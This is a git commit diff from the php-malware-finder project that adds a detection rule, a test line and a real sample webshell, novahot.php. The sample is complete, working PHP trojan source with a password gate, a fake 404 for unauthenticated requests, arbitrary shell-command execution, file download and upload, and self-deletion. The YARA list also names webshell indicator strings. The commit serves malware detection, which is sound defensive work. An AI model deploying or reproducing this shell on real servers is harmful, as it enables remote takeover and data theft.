diff options
| author | jvoisin | 2016-12-01 13:26:09 +0100 |
|---|---|---|
| committer | jvoisin | 2016-12-01 13:27:22 +0100 |
| commit | e627e456cf20ed382818048e7781f0253a0e0c6b (patch) | |
| tree | 3ee7b9939883484e5be27e901c878c31980ab184 | |
| parent | af0c39a3f7d665ff3f545110296383ac96c5ad59 (diff) | |
Detect [novahot]( https://github.com/chrisallenlane/novahot )
Closes #37
| -rw-r--r-- | php-malware-finder/common.yar | 1 | ||||
| -rw-r--r-- | php-malware-finder/samples/real/novahot.php | 130 | ||||
| -rwxr-xr-x | php-malware-finder/tests.sh | 1 |
3 files changed, 132 insertions, 0 deletions
diff --git a/php-malware-finder/common.yar b/php-malware-finder/common.yar index b47fb69..bde83c7 100644 --- a/php-malware-finder/common.yar +++ b/php-malware-finder/common.yar | |||
| @@ -126,6 +126,7 @@ rule DodgyStrings | |||
| 126 | $ = "slowloris" fullword nocase | 126 | $ = "slowloris" fullword nocase |
| 127 | $ = "suhosin.executor.func.blacklist" | 127 | $ = "suhosin.executor.func.blacklist" |
| 128 | $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. | 128 | $ = "sun-tzu" fullword nocase // Because quotes from the Art of War is mandatory for any cool webshell. |
| 129 | $ = /trojan (payload)?/ | ||
| 129 | $ = "uname -a" fullword | 130 | $ = "uname -a" fullword |
| 130 | $ = "visbot" nocase fullword | 131 | $ = "visbot" nocase fullword |
| 131 | $ = "warez" fullword nocase | 132 | $ = "warez" fullword nocase |
diff --git a/php-malware-finder/samples/real/novahot.php b/php-malware-finder/samples/real/novahot.php new file mode 100644 index 0000000..a330580 --- /dev/null +++ b/php-malware-finder/samples/real/novahot.php | |||
| @@ -0,0 +1,130 @@ | |||
| 1 | <?php | ||
| 2 | |||
| 3 | # Tested on PHP 5.4.45 on Debian Wheezy. | ||
| 4 | # | ||
| 5 | # To test this trojan locally, run the following in the directory containing | ||
| 6 | # this file: | ||
| 7 | # php -S localhost:<port> | ||
| 8 | |||
| 9 | # TODO: Change this password. Don't leave the default! | ||
| 10 | define('PASSWORD', 'the-password'); | ||
| 11 | |||
| 12 | # Override the default error handling to: | ||
| 13 | # 1. Bludgeon PHP `throw`-ing rather than logging errors | ||
| 14 | # 2. Keep noise out of the error logs | ||
| 15 | set_error_handler('warning_handler', E_WARNING); | ||
| 16 | function warning_handler($errno, $errstr) { | ||
| 17 | throw new ErrorException($errstr); | ||
| 18 | } | ||
| 19 | |||
| 20 | # get the POSTed JSON input | ||
| 21 | $post = json_decode(file_get_contents('php://input'), true); | ||
| 22 | $cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd(); | ||
| 23 | |||
| 24 | # feign non-existence if the authentication is invalid | ||
| 25 | if (!isset($post['auth']) || $post['auth'] !== PASSWORD) { | ||
| 26 | header('HTTP/1.0 404 Not Found'); | ||
| 27 | die(); | ||
| 28 | } | ||
| 29 | |||
| 30 | # return JSON to the client | ||
| 31 | header('content-type: application/json'); | ||
| 32 | |||
| 33 | # if `cmd` is a trojan payload, execute it | ||
| 34 | if (function_exists($post['cmd'])) { | ||
| 35 | $post['cmd']($cwd, $post['args']); | ||
| 36 | } | ||
| 37 | |||
| 38 | # otherwise, execute a shell command | ||
| 39 | else { | ||
| 40 | $output = []; | ||
| 41 | |||
| 42 | # execute the command | ||
| 43 | $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd"; | ||
| 44 | exec($cmd, $output); | ||
| 45 | $cwd = array_pop($output); | ||
| 46 | |||
| 47 | $response = [ | ||
| 48 | 'stdout' => $output, | ||
| 49 | 'stderr' => [], | ||
| 50 | 'cwd' => $cwd, | ||
| 51 | ]; | ||
| 52 | |||
| 53 | die(json_encode($response)); | ||
| 54 | } | ||
| 55 | |||
| 56 | |||
| 57 | # File-download payload | ||
| 58 | function payload_download ($cwd, $args) { | ||
| 59 | |||
| 60 | # cd to the trojan's cwd | ||
| 61 | chdir($cwd); | ||
| 62 | |||
| 63 | # open the file as binary, and base64-encode its contents | ||
| 64 | try { | ||
| 65 | $stdout = base64_encode(file_get_contents($args['file'])); | ||
| 66 | $stderr = []; | ||
| 67 | } | ||
| 68 | |||
| 69 | # notify the client on failure | ||
| 70 | catch (ErrorException $e) { | ||
| 71 | $stdout = []; | ||
| 72 | $stderr = [ 'Could not download file.', $e->getMessage() ]; | ||
| 73 | } | ||
| 74 | |||
| 75 | die(json_encode([ | ||
| 76 | 'stdout' => $stdout, | ||
| 77 | 'stderr' => $stderr, | ||
| 78 | 'cwd' => $cwd, | ||
| 79 | ])); | ||
| 80 | } | ||
| 81 | |||
| 82 | # File-upload payload | ||
| 83 | function payload_upload ($cwd, $args) { | ||
| 84 | |||
| 85 | # cd to the trojan's cwd | ||
| 86 | chdir($cwd); | ||
| 87 | |||
| 88 | # base64-decode the uploaded bytes, and write them to a file | ||
| 89 | try { | ||
| 90 | file_put_contents( $args['dst'], base64_decode($args['data'])); | ||
| 91 | $stderr = []; | ||
| 92 | $stdout = [ "File saved to {$args['dst']}." ]; | ||
| 93 | } | ||
| 94 | |||
| 95 | # notify the client on failure | ||
| 96 | catch (ErrorException $e) { | ||
| 97 | $stdout = []; | ||
| 98 | $stderr = [ 'Could not save file.', $e->getMessage() ]; | ||
| 99 | } | ||
| 100 | |||
| 101 | die(json_encode([ | ||
| 102 | 'stdout' => $stdout, | ||
| 103 | 'stderr' => $stderr, | ||
| 104 | 'cwd' => $cwd, | ||
| 105 | ])); | ||
| 106 | } | ||
| 107 | |||
| 108 | # Trojan autodestruct | ||
| 109 | function payload_autodestruct ($cwd, $args) { | ||
| 110 | |||
| 111 | # attempt to delete the trojan | ||
| 112 | try { | ||
| 113 | |||
| 114 | unlink(__FILE__); | ||
| 115 | $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ]; | ||
| 116 | $stderr = []; | ||
| 117 | } | ||
| 118 | |||
| 119 | # notify the client on failure | ||
| 120 | catch (ErrorException $e) { | ||
| 121 | $stdout = []; | ||
| 122 | $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.']; | ||
| 123 | } | ||
| 124 | |||
| 125 | die(json_encode([ | ||
| 126 | 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ], | ||
| 127 | 'stderr' => [], | ||
| 128 | 'cwd' => $cwd, | ||
| 129 | ])); | ||
| 130 | } | ||
diff --git a/php-malware-finder/tests.sh b/php-malware-finder/tests.sh index 6928e65..b9da203 100755 --- a/php-malware-finder/tests.sh +++ b/php-malware-finder/tests.sh | |||
| @@ -90,6 +90,7 @@ run_test artificial/bypasses.php "0x132:\$var_as_func: \$_POST\['funct'\](" | |||
| 90 | 90 | ||
| 91 | # real | 91 | # real |
| 92 | run_test real/sucuri_2014_04.php '0x67:$execution3:' | 92 | run_test real/sucuri_2014_04.php '0x67:$execution3:' |
| 93 | run_test real/novahot.php 'DodgyStrings' | ||
| 93 | 94 | ||
| 94 | # Asp files | 95 | # Asp files |
| 95 | run_test_asp classic/cmdasp.asp 'DodgyStrings' | 96 | run_test_asp classic/cmdasp.asp 'DodgyStrings' |
